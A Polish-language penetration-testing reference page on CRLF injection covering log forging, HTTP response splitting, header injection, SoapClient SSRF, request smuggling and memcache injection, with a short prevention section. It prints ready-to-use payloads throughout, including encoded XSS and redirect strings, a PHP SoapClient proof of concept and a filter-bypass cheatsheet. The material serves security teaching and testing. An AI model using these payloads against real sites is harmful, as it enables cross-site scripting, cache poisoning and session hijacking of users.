CRLF (%0D%0A) Injection

Reading time: 10 minutes

CRLF

Carriage Return (CR) i Line Feed (LF), znane łącznie jako CRLF, to specjalne sekwencje znaków używane w protokole HTTP do oznaczania końca linii lub początku nowej. Serwery internetowe i przeglądarki używają CRLF do rozróżniania między nagłówkami HTTP a treścią odpowiedzi. Te znaki są powszechnie stosowane w komunikacji HTTP/1.1 w różnych typach serwerów internetowych, takich jak Apache i Microsoft IIS.

CRLF Injection Vulnerability

CRLF injection polega na wstawieniu znaków CR i LF do danych wejściowych dostarczonych przez użytkownika. Działanie to wprowadza w błąd serwer, aplikację lub użytkownika, skłaniając ich do interpretacji wstrzykniętej sekwencji jako końca jednej odpowiedzi i początku innej. Chociaż te znaki nie są z natury szkodliwe, ich niewłaściwe użycie może prowadzić do podziału odpowiedzi HTTP i innych złośliwych działań.

Example: CRLF Injection in a Log File

Example from here

Rozważ plik dziennika w panelu administracyjnym, który ma format: IP - Czas - Odwiedzona Ścieżka. Typowy wpis może wyglądać następująco:

123.123.123.123 - 08:15 - /index.php?page=home

Napastnik może wykorzystać wstrzyknięcie CRLF do manipulacji tym logiem. Wprowadzając znaki CRLF do żądania HTTP, napastnik może zmienić strumień wyjściowy i sfałszować wpisy w logu. Na przykład, wstrzyknięta sekwencja może przekształcić wpis w logu w:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Tutaj %0d i %0a reprezentują URL-enkodowane formy CR i LF. Po ataku, log wprowadzi w błąd, wyświetlając:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Atakujący w ten sposób ukrywa swoje złośliwe działania, sprawiając, że wydaje się, iż localhost (podmiot zazwyczaj zaufany w środowisku serwera) wykonał te działania. Serwer interpretuje część zapytania zaczynającą się od %0d%0a jako jeden parametr, podczas gdy parametr restrictedaction jest analizowany jako inny, oddzielny input. Manipulowane zapytanie skutecznie naśladuje legalne polecenie administracyjne: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Opis

HTTP Response Splitting to luka w zabezpieczeniach, która powstaje, gdy atakujący wykorzystuje strukturę odpowiedzi HTTP. Ta struktura oddziela nagłówki od treści za pomocą określonej sekwencji znaków, Carriage Return (CR) następnie Line Feed (LF), zbiorczo określane jako CRLF. Jeśli atakujący zdoła wstawić sekwencję CRLF do nagłówka odpowiedzi, może skutecznie manipulować treścią następnej odpowiedzi. Tego typu manipulacja może prowadzić do poważnych problemów z bezpieczeństwem, w szczególności Cross-site Scripting (XSS).

XSS przez HTTP Response Splitting

1. Aplikacja ustawia niestandardowy nagłówek w ten sposób: X-Custom-Header: UserInput
2. Aplikacja pobiera wartość dla UserInput z parametru zapytania, powiedzmy "user_input". W scenariuszach, w których brakuje odpowiedniej walidacji i kodowania wejścia, atakujący może stworzyć ładunek, który zawiera sekwencję CRLF, a następnie złośliwą treść.
3. Atakujący tworzy URL z specjalnie przygotowanym 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• W tym URL, %0d%0a%0d%0a jest URL-encoded formą CRLFCRLF. Oszukuje to serwer, aby wstawić sekwencję CRLF, sprawiając, że serwer traktuje następną część jako treść odpowiedzi.

4. Serwer odzwierciedla wejście atakującego w nagłówku odpowiedzi, prowadząc do niezamierzonej struktury odpowiedzi, w której złośliwy skrypt jest interpretowany przez przeglądarkę jako część treści odpowiedzi.

Przykład HTTP Response Splitting prowadzący do przekierowania

Z https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Przeglądarka do:

/%0d%0aLocation:%20http://myweb.com

A serwer odpowiada nagłówkiem:

Location: http://myweb.com

Inny przykład: (z https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

W ścieżce URL

Możesz wysłać ładunek wewnątrz ścieżki URL, aby kontrolować odpowiedź z serwera (przykład z tutaj):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Sprawdź więcej przykładów w:

{{#ref}} https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md {{#endref}}

Wstrzykiwanie nagłówków HTTP

Wstrzykiwanie nagłówków HTTP, często wykorzystywane poprzez wstrzykiwanie CRLF (Carriage Return and Line Feed), pozwala atakującym na wstawianie nagłówków HTTP. Może to podważyć mechanizmy zabezpieczeń, takie jak filtry XSS (Cross-Site Scripting) lub SOP (Same-Origin Policy), co potencjalnie prowadzi do nieautoryzowanego dostępu do wrażliwych danych, takich jak tokeny CSRF, lub manipulacji sesjami użytkowników poprzez osadzanie ciasteczek.

Wykorzystywanie CORS poprzez wstrzykiwanie nagłówków HTTP

Atakujący może wstrzykiwać nagłówki HTTP, aby włączyć CORS (Cross-Origin Resource Sharing), omijając ograniczenia nałożone przez SOP. To naruszenie pozwala skryptom z złośliwych źródeł na interakcję z zasobami z innego źródła, potencjalnie uzyskując dostęp do chronionych danych.

SSRF i wstrzykiwanie żądań HTTP poprzez CRLF

Wstrzykiwanie CRLF może być wykorzystane do skonstruowania i wstrzyknięcia całkowicie nowego żądania HTTP. Znaczącym przykładem jest luka w klasie SoapClient w PHP, szczególnie w parametrze user_agent. Manipulując tym parametrem, atakujący może wstawić dodatkowe nagłówki i treść ciała, a nawet wstrzyknąć całkowicie nowe żądanie HTTP. Poniżej znajduje się przykład PHP demonstrujący to wykorzystanie:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Wstrzykiwanie nagłówków do przemycania żądań

Aby uzyskać więcej informacji na temat tej techniki i potencjalnych problemów sprawdź oryginalne źródło.

Możesz wstrzykiwać istotne nagłówki, aby zapewnić, że zaplecze utrzymuje połączenie otwarte po odpowiedzi na początkowe żądanie:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Po tym, można określić drugie żądanie. Ten scenariusz zazwyczaj obejmuje HTTP request smuggling, technikę, w której dodatkowe nagłówki lub elementy ciała dodane przez serwer po wstrzyknięciu mogą prowadzić do różnych exploitów bezpieczeństwa.

Eksploatacja:

1. Wstrzyknięcie złośliwego prefiksu: Ta metoda polega na zanieczyszczeniu żądania następnego użytkownika lub pamięci podręcznej sieciowej poprzez określenie złośliwego prefiksu. Przykład tego to:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Tworzenie prefiksu do zanieczyszczenia kolejki odpowiedzi: To podejście polega na stworzeniu prefiksu, który, w połączeniu z końcowymi śmieciami, tworzy pełne drugie żądanie. Może to wywołać zanieczyszczenie kolejki odpowiedzi. Przykład to:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Wstrzyknięcie Memcache

Memcache to magazyn klucz-wartość, który używa protokołu tekstowego. Więcej informacji w:

{{#ref}} ../network-services-pentesting/11211-memcache/ {{#endref}}

Aby uzyskać pełne informacje, przeczytaj oryginalny artykuł

Jeśli platforma pobiera dane z żądania HTTP i używa ich bez sanitizacji do wykonywania żądań do serwera memcache, atakujący może wykorzystać to zachowanie do wstrzykiwania nowych poleceń memcache.

Na przykład, w pierwotnie odkrytej luce, klucze pamięci podręcznej były używane do zwracania adresu IP i portu, do którego użytkownik powinien się połączyć, a atakujący mogli wstrzykiwać polecenia memcache, które zanieczyszczały pamięć podręczną, aby wysłać szczegóły ofiar (w tym nazwy użytkowników i hasła) do serwerów atakującego:

Ponadto, badacze odkryli również, że mogą desynchronizować odpowiedzi memcache, aby wysłać adresy IP i porty atakującego do użytkowników, których e-mail atakujący nie znał:

Jak zapobiegać wstrzyknięciom CRLF / HTTP Header w aplikacjach internetowych

Aby zminimalizować ryzyko wstrzyknięć CRLF (Carriage Return and Line Feed) lub HTTP Header w aplikacjach internetowych, zaleca się następujące strategie:

1. Unikaj bezpośredniego wprowadzania danych od użytkownika w nagłówkach odpowiedzi: Najbezpieczniejszym podejściem jest powstrzymanie się od włączania danych dostarczonych przez użytkownika bezpośrednio do nagłówków odpowiedzi.
2. Koduj znaki specjalne: Jeśli unikanie bezpośredniego wprowadzania danych od użytkownika nie jest możliwe, upewnij się, że używasz funkcji dedykowanej do kodowania znaków specjalnych, takich jak CR (Carriage Return) i LF (Line Feed). Ta praktyka zapobiega możliwości wstrzyknięcia CRLF.
3. Aktualizuj język programowania: Regularnie aktualizuj język programowania używany w swoich aplikacjach internetowych do najnowszej wersji. Wybierz wersję, która z zasady zabrania wstrzykiwania znaków CR i LF w funkcjach odpowiedzialnych za ustawianie nagłówków HTTP.

CHEATSHEET

Cheatsheet stąd

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Narzędzia automatyczne

• https://github.com/Raghavd3v/CRLFsuite
• https://github.com/dwisiswant0/crlfuzz

Lista wykrywania brute-force

• https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt

Odniesienia

• https://www.invicti.com/blog/web-security/crlf-http-header/
• https://www.acunetix.com/websitesecurity/crlf-injection/
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.netsparker.com/blog/web-security/crlf-http-header/